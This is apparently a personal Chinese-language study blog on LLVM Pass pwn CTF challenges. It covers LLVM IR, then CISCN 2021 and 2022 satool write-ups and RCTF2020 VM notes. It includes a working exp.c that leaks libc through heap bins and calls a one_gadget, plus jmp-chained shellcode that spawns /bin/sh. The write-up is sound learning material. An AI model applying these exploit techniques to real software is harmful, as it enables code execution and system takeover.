# vmlearning 笔记

首先清楚什么是 vm,虚拟机器,一种实现不同架构的程序的解释性的软件程序。virtual machine

关于 vmpass 这种解释性的程序,工作原理是根据不同的 cou 架构,不同的程序会生成不同的机器语言代码,指令代码。这个中间文件称作 IR,一般有两种形式 ——bitcode, 二进制机器码,以及.ll 文件,后者是为了方便我们阅读的,可读性较高。

vmpass 程序,对于我们提供的想要模拟运行的代码,我们需要提供类似于指令代码程序的文件,.ll 或者 bc 文件,而文件是被 assmebly 后的,所以里面会有相关的汇编指令(机器代码指令)的二进制代码。那么我们知道对于一台机器,其所能实现的操作是固定的,不同的编程语言,程序,最终都会被解释为一条条的机器指令,利用组成原理的知识,一条机器指令代码,需要有操作码以及操作数,有的时候需要寄存器,而且程序的运行必然会利用到一些判断标志,c,z 等等。这些都会被形象的存储在数组中。比如寄存器数组就会对应不同的寄存器,里面记录数据,提供’cpu’使用。而字符串也会被拆开,每个字符变为 16 进制数储存。(小端序,倒着看的字符串)

0x72306F446B633442LL ===>> ‘r0oDkc4B’ ===>>“B4ckD0or”

关于 vm 的机制,后面再慢慢学习。

# IR 代码

参考资料

IR 是一种中间产物,看了一理解位是对程序代码的指令化解析,而且适用于我们可以看懂的,可以理解位 llvm 下的汇编代码。bitcode 是纯二进制代码文件。

简单的学习下

源代码

1
2
3
4
5
6
7
8
#include <stdio.h>
int main()
{
int a= 2;
int b=3;
int c = a;
int d=1+a;
}

IR 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
; ModuleID = 'test.c'
source_filename = "test.c"
target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

; Function Attrs: noinline nounwind optnone uwtable
define i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
store i32 2, i32* %1, align 4
store i32 3, i32* %2, align 4
%5 = load i32, i32* %1, align 4
store i32 %5, i32* %3, align 4
%6 = load i32, i32* %1, align 4
%7 = add nsw i32 1, %6
store i32 %7, i32* %4, align 4
ret i32 0
}

attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)"}

我们重点关注函数部分。开头是文件的一些信息,文件名,类型,等等。

函数,define 定义一个函数,接着 i32 表示函数的返回值是 32 位的(这里我们定义的是 int)。alloca 大概就是谁年轻一个变量的空间。变量用数字做标识,按照先后顺序。% 加上一个数字就表示的是第几个变量,同样的 i32 说明变量是 32 位。align 则是说明变量在内存中 4 字节对齐。

我们知道函数名在程序内存中是一个全局的符号,我们如何表示?@用于表示全局的标识,包括函数名以及全局变量。特别说明,区别函数与变量的方法是二者的定义形式不一样。函数使用 define 关键字。

% 除了用于标识局部变量还用于标识寄存器。

(后续继续补充)

** 关于是否需要完全掌握 IR,其实还是需要根据本题目,有的题目需要对 IR 进行优化,从而达到对源代码程序的优化。

​ 有的题目和 IR 代码高度相关的那就得看懂吧! ——ayaka

# ctf

直接进入解题,vmpass 提供用户一整套完整的流程,包括库,vmpass 基于 c++ 编写。

1
2
3
4
5
6
#include "llvm/Pass.h"//写Pass所必须的库
#include "llvm/IR/Function.h"//操作函数所必须的库
#include "llvm/Support/raw_ostream.h"//打印输出所必须的库
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"

程序中我们需要注册一些相关的内容,opt 操作,以及 clang 所需要的对象。

# ciscn2021 satool

一般来说 LLVM PASS pwn 都是对函数进行 PASS 操作,所以我们首先要找到 runOnFunction 函数时如何重写的,一般来说 runOnFunction 都会在函数表最下面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.data.rel.ro:0000000000203D20                 ;org 203D20h
.data.rel.ro:0000000000203D20 ; `vtable for'`anonymous namespace'::SAPass
.data.rel.ro:0000000000203D20 _ZTVN12_GLOBAL__N_16SAPassE dq 0 ; offset to this
.data.rel.ro:0000000000203D28 dq offset _ZTIN12_GLOBAL__N_16SAPassE ; `typeinfo for'`anonymous namespace'::SAPass
.data.rel.ro:0000000000203D30 off_203D30 dq offset _ZN4llvm4PassD2Ev
.data.rel.ro:0000000000203D30 ; DATA XREF: sub_1930+32↑o
.data.rel.ro:0000000000203D30 ; llvm::Pass::~Pass()
.data.rel.ro:0000000000203D38 dq offset sub_1990
.data.rel.ro:0000000000203D40 dq offset _ZNK4llvm4Pass11getPassNameEv ; llvm::Pass::getPassName(void)
.data.rel.ro:0000000000203D48 dq offset _ZN4llvm4Pass16doInitializationERNS_6ModuleE ; llvm::Pass::doInitialization(llvm::Module &)
.data.rel.ro:0000000000203D50 dq offset _ZN4llvm4Pass14doFinalizationERNS_6ModuleE ; llvm::Pass::doFinalization(llvm::Module &)
.data.rel.ro:0000000000203D58 dq offset _ZNK4llvm4Pass5printERNS_11raw_ostreamEPKNS_6ModuleE ; llvm::Pass::print(llvm::raw_ostream &,llvm::Module const*)
.data.rel.ro:0000000000203D60 dq offset _ZNK4llvm12FunctionPass17createPrinterPassERNS_11raw_ostreamERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE ; llvm::FunctionPass::createPrinterPass(llvm::raw_ostream &,std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>> const&)
.data.rel.ro:0000000000203D68 dq offset _ZN4llvm12FunctionPass17assignPassManagerERNS_7PMStackENS_15PassManagerTypeE ; llvm::FunctionPass::assignPassManager(llvm::PMStack &,llvm::PassManagerType)
.data.rel.ro:0000000000203D70 dq offset _ZN4llvm4Pass18preparePassManagerERNS_7PMStackE ; llvm::Pass::preparePassManager(llvm::PMStack &)
.data.rel.ro:0000000000203D78 dq offset _ZNK4llvm12FunctionPass27getPotentialPassManagerTypeEv ; llvm::FunctionPass::getPotentialPassManagerType(void)
.data.rel.ro:0000000000203D80 dq offset _ZNK4llvm4Pass16getAnalysisUsageERNS_13AnalysisUsageE ; llvm::Pass::getAnalysisUsage(llvm::AnalysisUsage &)
.data.rel.ro:0000000000203D88 dq offset _ZN4llvm4Pass13releaseMemoryEv ; llvm::Pass::releaseMemory(void)
.data.rel.ro:0000000000203D90 dq offset _ZN4llvm4Pass26getAdjustedAnalysisPointerEPKv ; llvm::Pass::getAdjustedAnalysisPointer(void const*)
.data.rel.ro:0000000000203D98 dq offset _ZN4llvm4Pass18getAsImmutablePassEv ; llvm::Pass::getAsImmutablePass(void)
.data.rel.ro:0000000000203DA0 dq offset _ZN4llvm4Pass18getAsPMDataManagerEv ; llvm::Pass::getAsPMDataManager(void)
.data.rel.ro:0000000000203DA8 dq offset _ZNK4llvm4Pass14verifyAnalysisEv ; llvm::Pass::verifyAnalysis(void)
.data.rel.ro:0000000000203DB0 dq offset _ZN4llvm4Pass17dumpPassStructureEj ; llvm::Pass::dumpPassStructure(uint)
.data.rel.ro:0000000000203DB8 dq offset runonfunction //这里我进行了重命名
.data.rel.ro:0000000000203DC0 ; public `anonymous namespace'::SAPass
.data.rel.ro:0000000000203DC0 ; `typeinfo for'`anonymous namespace'::SAPass

再程序的开始 start 会有一些函数名注册,一般不需要搭理。我们重点关注的还是程序如何解释运行程序 ——runOnFunction

函数里面最开始一定是 getname, 这个就是获取函数名称的,没有什么意义。

如何调试?

_一般情况下,题目会指定使用的 opt 加载,或者给出,这道题使用的 opt-8,对应的是 llvm-8。要提一句的是,不同的题目需要的 llvm 版本不同,需要切换,ubuntu18 最高支持的是 llvm-10。接着,我们如何确定断点?我们分析的是 pass.so 的文件,所以如果想断点,就是 offset+vmpass.so 的第一个地址。_但是程序并不是一开始就会加载 pass.so,但是地址应该是有相对固定的偏移,距离 libtinfo.so.5.9 偏移是固定的,就是其低 2 字节。解决办法,利用 compare 函数来定位,compare 会先比较 B4ckD0or,这个时候就已经加载了 pass.so

回到题目,llvmpass pwn 的一个非常重要的电视,因为属于软件思想模拟一个 cpu 架构,所以每次对于我们提供的代码的操作都是种循环。而且因为是 c++ 编写的 so 库,往往会有很多不重要的检查,这些往往是很好辨认的,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
        if ( !(unsigned int)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::compare(
&v89,
"save") )
{
v17 = *((_BYTE *)v8 + 16);
if ( v17 == 79 )
{
v18 = 0LL;
}
else
{
if ( v17 != 29 )
{
llvm::llvm_unreachable_internal(
(llvm *)"Invalid opcode!",
"/usr/include/llvm/IR/InstrTypes.h",
(const char *)&stru_400.st_value + 5,
v16);
LABEL_139:
llvm::llvm_unreachable_internal(
(llvm *)"Invalid opcode!",
"/usr/include/llvm/IR/InstrTypes.h",
(const char *)&stru_400.st_value + 5,
v36);
LABEL_140:
llvm::llvm_unreachable_internal(
(llvm *)"Invalid opcode!",
"/usr/include/llvm/IR/InstrTypes.h",
(const char *)&stru_400.st_value + 5,
v63);
LABEL_141:
llvm::llvm_unreachable_internal(
(llvm *)"Invalid opcode!",
"/usr/include/llvm/IR/InstrTypes.h",
(const char *)&stru_400.st_value + 5,
v67);
LABEL_142:
llvm::llvm_unreachable_internal(
(llvm *)"Invalid opcode!",
"/usr/include/llvm/IR/InstrTypes.h",
(const char *)&stru_400.st_value + 5,
v78);
LABEL_143:
llvm::llvm_unreachable_internal(
(llvm *)"Invalid opcode!",
"/usr/include/llvm/IR/InstrTypes.h",
(const char *)&stru_400.st_value + 5,
(unsigned int)v20);
LABEL_144:
llvm::llvm_unreachable_internal(
(llvm *)"Invalid opcode!",
"/usr/include/llvm/IR/InstrTypes.h",
(const char *)&stru_400.st_value + 5,
(unsigned int)v24);
LABEL_154:
__assert_fail(
"i < getNumArgOperands() && \"Out of bounds!\"",
"/usr/include/llvm/IR/InstrTypes.h",
0x470u,
"llvm::Value *llvm::CallBase::getArgOperand(unsigned int) const");
}
v18 = -2LL;
}
v19 = llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 3));
v20 = (char *)&v8[-3 * (*((_DWORD *)v8 + 5) & 0xFFFFFFF)];
if ( -1431655765 * (unsigned int)((unsigned __int64)((char *)&v15[3 * v18 + -3 * v19] - v20) >> 3) == 2 )
{
v21 = *((_BYTE *)v8 + 16);
if ( v21 == 79 )
{
v22 = 0LL;
}
else
{
if ( v21 != 29 )
goto LABEL_143;
v22 = -2LL;
}
v23 = (__int64)&v15[3 * v22
+ -3 * (unsigned int)llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 3))];
v24 = &v8[-3 * (*((_DWORD *)v8 + 5) & 0xFFFFFFF)];
if ( !(-1431655765 * (unsigned int)((unsigned __int64)(v23 - (_QWORD)v24) >> 3)) )
goto LABEL_154;
if ( (*((_DWORD *)v8 + 5) & 0xFFFFFFF) == 0 )
goto LABEL_153;
v25 = *v24;
v26 = *((_BYTE *)v8 + 16);
if ( v26 == 79 )
{
v27 = 0LL;
}
else
{
if ( v26 != 29 )
goto LABEL_144;
v27 = -2LL;
}
v28 = (__int64)&v15[3 * v27
+ -3 * (unsigned int)llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 3))];
v29 = &v8[-3 * (*((_DWORD *)v8 + 5) & 0xFFFFFFF)];
if ( -1431655765 * (unsigned int)((unsigned __int64)(v28 - (_QWORD)v29) >> 3) <= 1 )
goto LABEL_154;
if ( (*((_DWORD *)v8 + 5) & 0xFFFFFFFu) <= 1 )
goto LABEL_153;
v30 = v29[3];
// ************************************* / /
sub_2430(&src, v25);
sub_2430(v84, v30);
bytes = n;
chunk = malloc(0x18uLL); // 申请0x20的chunk
chunk[2] = heap;

我们看这部分代码,一开始函数名就很长,但是我们看到了 compare,以及上文出现了 v10 = (_BYTE *) llvm::Value::getName (0LL);
v89 = dest; 这条,我们就大胆猜测,这里是判断函数名是否是 “save”。如果是,下面一大串就是对函数的一些常规检查,参数传递是否正确。

image-20220611234626847

像这里就是检查参数是否是有两个,不然就无法执行。下面一直到分割线之前都是我们不需要搭理的,甚至下面的两个函数我们也不需要搭理。我们只要知道下面那些可以直接看懂的部分就好了。后面的分析大致一样。

# save

我们看 save 部分的关键代码

1
2
3
4
5
6
7
8
9
10
11
12
       sub_2430(&src, v25);
sub_2430(v84, v30);
bytes = n;
bytes = n;
chunk = malloc(0x18uLL); // 申请0x20的chunk
chunk[2] = heap_ptr; // +0x18
heap_ptr = chunk; // 明显这里储存了chunk的地址
v33 = (char *)src;
memcpy(chunk, src, bytes); // 向chunk中拷贝数据
v34 = chunk_ptr + 1;
v35 = (char *)v84[0];
memcpy(v34, v84[0], (size_t)v84[1]);

首先申请到一个 0x20 大小的 chunk,并将这个地址记录到全局变量 heap。就是说这个 heap 变量每次经过 save 就会被更新,旧的并没有被保存。chunk+0x18 的内存记录 heap 变量的地址。下面是有个 src,以及两个 memcpy,但是我们还不清楚 src 以及 v84 是什么。简单进入 sub_2430 函数看一眼,知道这起码是两个字符串,而且是我们传进来的参数。“isString() && “Not a string””,, “isa(Val) && “cast_or_null() argument of incompatible type!””, 涉及到对字符串的看呗我们还需要进行调试。拷贝分 2 次,我们一会调试看看。

经过调试,src 就是我们 save () 的第一个参数,v84 是第二个参数。 而且我们发现我们申请到的空间离 heap 页开始的地址非常远。第一个参数会写在用户区最开始的地方,第二个参数在 chunk_use+0x8,所以我们猜测应该会有检查参数长度。但是我们不需要管。而且调试的时候还发现,我们在 chunk+0x18 的地方会写入 heap_ptr 保存的值。其实就是上一个 save 创建的 chunk。这样就形成了单链表。

我们继续看剩下的几个操作,

# takeaway

相似的检查方式,只不过参数变为了一个。这里话有个重要的变量 n。但是目前不清楚数值。

1
2
3
4
5
else
{
heap_ptr = (_QWORD *)heap_ptr[2];
}
free(v45);

猜测其实就是删除某个 chunk,并且将全局变量 heap_ptr 回复为上一个 chunk。但是具体是否有查询功能还不确定。

# stealkey

这部分代码很少,也没有检查函数的参数,所以这个函数应该是没有参数的。关键点在于 byte_204100 = *heap; 某个全局变量值变为 chunk 的字符串的值对应的内存值。。

# fakekey

要求函数有一个参数。

1
2
3
4
5
6
7
v76 = byte_204100;
if ( *(_BYTE *)(*v75 + 16LL) == 13 )
SExtValue = llvm::APInt::getSExtValue((llvm::APInt *)(*v75 + 24LL));
else
SExtValue = 0LL;
byte_204100 = v76 + SExtValue;
*heap = v76 + SExtValue;

v76 可以通过刚刚的 steal 来设置,就会变为我们可控的值。关键在与 sextvalue 是什么,我们调试看看

image-20220612014631136

调试后发现就是我们传进去的参数,如果我们要传负数,那就写补码。

# run

run 函数是最关键的也是最离谱的,

1
((void (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD))*heap)

直接无脑调用 heap_ptr 指向的 chunk 的 fd,那么思路就是想办法把地址写进去。这里就存在两个关键地方,一个是 fakekey 可以实现对 chunk 的 fd 的修改,在 v76 的基础上加上一个偏移量,那么如果我们能将 v76 的值改为 libc 或者 libc 的一个相关的值,加上一个 offset,就可以实现任意函数调用。因为 call *heap 后面指定了参数为 0,我们就使用 onegadget。我们先看看这里的栈布局。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
*RAX 0x7ffff33412fc (exec_comm+2508) ◂— mov rax, qword ptr [rip + 0x2e0ba5]
*RBX 0x0
*RCX 0x0
*RDX 0x0
*RDI 0x0
*RSI 0x0
*R8 0x0
*R9 0x0
*R10 0x7c7738 —▸ 0x822940 —▸ 0x7fffffffdcf8 —▸ 0x7e4b50 —▸ 0x7e4b70 ◂— ...
*R11 0x7ffff33f3b20 ◂— pop rdi
*R12 0x826e10 —▸ 0x7c7738 —▸ 0x822940 —▸ 0x7fffffffdcf8 —▸ 0x7e4b50 ◂— ...
R13 0x7fffffffda20 —▸ 0x7fffffffda30 ◂— 0x79656b006e7572 /* 'run' */
*R14 0x826e40 —▸ 0x826d88 —▸ 0x826c80 —▸ 0x826b80 —▸ 0x826990 ◂— ...
*R15 0x826e28 —▸ 0x7e5218 —▸ 0x7fffffffdcf8 —▸ 0x7e4b50 —▸ 0x7e4b70 ◂— ...
*RBP 0x8249c0 —▸ 0x6e7572 (isl_basic_set_compute_vertices+2114) ◂— js 0x6e757c
*RSP 0x7fffffffd950 ◂— 0x0
*RIP 0x7ffff23a21ec ◂— call rax
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x7ffff23a21ec call rax <exec_comm+2508>
rdi: 0x0
rsi: 0x0
rdx: 0x0
rcx: 0x0

先看看有没有合适的寄存器的 one_gadget, 没有的话在选择 stack 布局。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
dreamcat@ubuntu:~/Desktop/llvm/SATool_2021_ciscn$ one_gadget /lib/x86_64-linux-gnu/libc-2.27.so -l3
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0xe534f execve("/bin/sh", r13, rbx)
constraints:
[r13] == NULL || r13 == NULL
[rbx] == NULL || rbx == NULL

0xe54f7 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
[[rbp-0x88]] == NULL || [rbp-0x88] == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe54fe execve("/bin/sh", rcx, [rbp-0x70])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe5502 execve("/bin/sh", rcx, rdx)
constraints:
[rcx] == NULL || rcx == NULL
[rdx] == NULL || rdx == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

0x10a308 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL

好多可以用的。

问题来了我们怎么泄露 libc? 或者能否直接得到一个与 libc 相关的值?

其实在第一次调试的时候吗,我们注意到第一次申请 0x20chunk 的时候,bins 不是空的,有 0x20 的 smallbin,largebin,u 你 sorted 斌,以及 tcache 中也有 7 个 bin。所以我们 save7 次将 tcache 取完,下一次就可以从 unsortedbin 中拿到,并且 fd 指向的是 main_arena+96, 与 libc 相关。我们只需要计算一下 offset 就可以了。

我们申请第 8 个 chunk 的时候就选择空输入(’\x00’),就不会变动 fd。

image-20220612021912812

这里可选择的 one_gadget 就很多了。选择了

1
2
3
4
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

完整的 exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
int run(){return 0;};
int save(char *a1,char *a2){return 0;};
int fakekey(int64){return 0;};
int takeaway(char *a1){return 0;};
int B4ckDo0r()
{
save("aaaa","bbbb");
save("aaddd","aadd");
save("ssss","sss");
save("ssss","sssss");
save("sssss","sssss");
save("sssss","sssss");
save("sssss","sssss");
save("\x00","ssssss");
stealkey();
fakekey(-0x2E19b4);
run();

}

补充点,runOnFunction 会检查我们 exp 的入口是不是 B4ckDo0r,因为我们习惯 C 语言的代码为 main 为程序的入口。

1
2
3
4
dest[2] = __readfsqword(0x28u);
name = (_QWORD *)llvm::Value::getName(a2);
if ( v3 == 8 && *name == 'r0oDkc4B' )
{

# ciscn 2022 satool

这里我依旧是跟着师傅们的文章一边复现一边记录学习。

首先还是看 readme,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
## Introduction
A LLVM Pass that can optimize add/sub instructions.
## How to run
opt-12 -load ./mbaPass.so -mba {*.bc/*.ll} -S
## Example
### IR before optimization
```
define dso_local i64 @foo(i64 %0) local_unnamed_addr #0 {
%2 = sub nsw i64 %0, 2
%3 = add nsw i64 %2, 68
%4 = add nsw i64 %0, 6
%5 = add nsw i64 %4, -204
%6 = add nsw i64 %5, %3
ret i64 %6
}
```
### IR after optimization
```
define dso_local i64 @foo(i64 %0) local_unnamed_addr #0 {
%2 = mul i64 %0, 2
%3 = add i64 %2, -132
ret i64 %3
}
```

opt-12 对应的就是 llvm-12,而且题目没有给出 opt。有师傅讲 ubuntu18 是不支持 opt-12 的。

我们看看程序是如何优化代码的,在 handle 部分,有几个点,

1
v30 = *((_QWORD *)this + 4) + 0xFF0LL;        // shellcode结束的地方,0x***ff0

这里的 v30 就是指定了我们结束的空间,用来下面判断是会溢出超出这个区域。下面有三个分支,但是我们的目标是最后一个 else

1
2
3
4
5
6
7
8
9
10
else                                          // 真实的优化过程
{
'anonymous namespace'::MBAPass::writeMovImm64(this, 0, 0LL);// 在最开始的地方写movabs rax,0x0
*((_DWORD *)this + 12) = 0;
std::stack<llvm::Value *>::stack<std::deque<llvm::Value *>,void>(v26);
std::stack<int>::stack<std::deque<int>,void>(stack);
std::stack<llvm::Value *>::push(v26, &v27);
v24 = 1;
std::stack<int>::push(stack, &v24);
while ( *((_QWORD *)this + 5) < v30 )

执行完 *(this+12) = 0 后的情况是在这样的

image-20220612213526191

this+12 指向的是 0x4c8d70 四字节。0x4c8c68 是记录当前我们要写入指令的位置。

writeMovImm64 (this, 0, 0LL),第二个参数指定寄存器,0 为 rax,1 为 rbx,0LL 是 64 位立即数。同理 writeret 就是向木匾位置写入 ret (0xc3)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 RDI  0x4c8c40 —▸ 0x7ffff21dbd30 —▸ 0x7ffff21cded0 ◂— push   rbp
RSI 0x48af78 —▸ 0x4ddf80 —▸ 0x7fffffffd560 —▸ 0x4b3820 —▸ 0x4b3840 ◂— ...
R8 0x4def70 ◂— 0x637566 /* 'fuc' */

pwndbg> x/28gx 0x48af78-0x18
0x48af60: 0x0000000000000040 0x0000000000000091
0x48af70: 0x0000000000000000 0x00000000004ddf80
0x48af80: 0x0000000000000000 0x5000000000000000
0x48af90: 0x00000000004ddf50 0x0000000000004000
0x48afa0: 0x00000000004dbc30 0x0000000000000000
0x48afb0: 0x00000000004dbc48 0x00000000004dbc48
0x48afc0: 0x00000000004df4d8 0x00000000004df4d8
0x48afd0: 0x00000000004df490 0x0000000000000001
0x48afe0: 0x00000000004ddec0 0x00000000004de308
0x48aff0: 0x00000000000000bc 0x0000000000000051
0x48b000: 0x00007fff00000000 0x000000000048c410
0x48b010: 0x000000000048b120 0x000000000048acf0
0x48b020: 0x000000000048b030 0x000000000000000a
0x48b030: 0x766e6f6761786568 0xffffffffff003536
pwndbg>

关于 handle 函数貌似并没有进行的优化,而是对原有的文件的处理,使用的是堆栈将原来的程序倒序储存进空间内。但是他这里的程序使用的汇编的指令比较少,add,sub,movabs,mul,dec,inc,rax 依旧是程序的返回值,所以最开始一定是对 rax 的初始化。程序的漏洞在于我们可用于储存指令的空间只有 0xff0,但是 mprotect 设置的是 0x1000. 而且程序在防止我们超出空间的时候检查是否小于 X+0xff0,但是如果我们控制知名的长度,将这个位置恰好覆盖为 shellcode。我们在写 add,sub 的汇编时,程序会将其全部转为 mov rbx,xxx,add rax,rbx. 我们可向内存中写入 8 字节的 64 位数,我们可以利用这个。在汇编中 \xeb 对应的指令默认的偏移量时 2,\xeb\x00 jmp 2. 结合上述,我们在第一个函数的结尾,向 0xff0 布置一个 i64, 使其跳转到某个存有 i64 的内存位置。我们通过这样多次跳转一步步完成 shellcoe 的布局,每次跳转栈两字节,所以每条指令不可以超过 6 字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
push 0x68732f
pop rax
jmp $?

shl rax,0x20
nop
nop
jmp $?

add rax,0x6069622f
jmp $?

push rax
mov rdi,rsp
nop
nop
jmp $?

xor rdx,rdx
push 0x39
jmp $?

xor rsi,rsi
pop rax
syscall

RCTF2020

直接给出了手写的 vm 可执行程序,我们需要理清楚里面的函数逻辑。重点在与子进程中的两个函数

1
2
nums_IR = sub_1A75(file);                   // 解析我们输入的数据
sub_E99(file, nums_IR);

首先当我们输入某种编码形式的指令后,第一个函数会检查我们的输入是否合法,并计算出我们输入了多少条完整的指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
解析输入是否合法的时候,有一些op码,大致县分为三块,小于9,等于9以及大于9小于
0 1 2 3三条指令,根据下1字节的标志,1:有一个寄存器和8字节的数据,0:两个寄存器
0 1:ADD RI,IMM64; 0:ADD RI,RI
1 1:SUB RI,IMM64; 0:SUB RI,RI
2 1:MUL RI,IMM64; 0:MUL RI,RI
3 1:DIV RI IMM64; 0:DIV RI ,RI


4 有一个标志位字节,条件1下,后面有9字节的任意数据,条件2需要两个寄存器
1:MOV RI,IMM64 ;4 MOV RI,[IMM64]
8:MOV RI,RI ;0X10 MOV RI1,[RI2]
0X20:MOV [RI1],RI2
5 一字节的寄存器号。将ptr+0x50 的值设置为寄存器中的值。 jmp ri

6 一字节的数据标志位。1:AND RI,IMM64; 0: AND RI,RI
7 p=1:1B,8B XOR RI,IMM64; p=0:1B,1B XOR RI,RI
8 标志位 ,1:或操作,or ri,imm64 ; 0:两个寄存器或操作,destri为第一个 XOR RI,RI
9 需要一个寄存器, 2B长,设置寄存器 NOT RI

10 需要一个标志位p,为0或者1,{1的时候,后面又8字节的数据,使得ptr+0x40的指针地址-8,并设置为指针指向的值为value,为0的时候,后面紧跟一个寄存器,} push imm64/push ri
11 检查ptr+88,要求非零,然后标志数值减一,后面还跟着一字节的数据.ptr+64指针指向的数据+8 pop RI

12 需要1B的操作数, 2BIR 指令跳转。1B的偏移量,默认+2(吓一个指令)
13 对应一个4字节的value(size) 5B,ptr+72存的是指针数组,栈,这里会被释放,地址由ptr+92提供数组下标索引,size用于malloc的操作, free旧的stack,创建一个新的
14 无操作数 1B NOP

初步分析,大概有8个寄存器( (unsigned __int8)getbyte_value(position + 2) > 7u)

vm_file 的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x0			R0
0x8 R1
0x10 R2
0x18 R3
0x20 R4
0x28 R5
0x30 R6
0x38 R7

0x40 malloc申请出来的指针 用作rsp
0x48 chunk结束的地方,栈顶的地址

0x50 PC
0x58(4B) malloc后标记为0,stck是否为空,stack的length
0x5c chunk的实际空间大小,stack的字节大小

stack 是在 pc 之后申请的,通过 jmp 可以将微程序劫持到 vm_stack 上面,一字节的最大跳转时 0xff,pc 为 0x010 大小

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal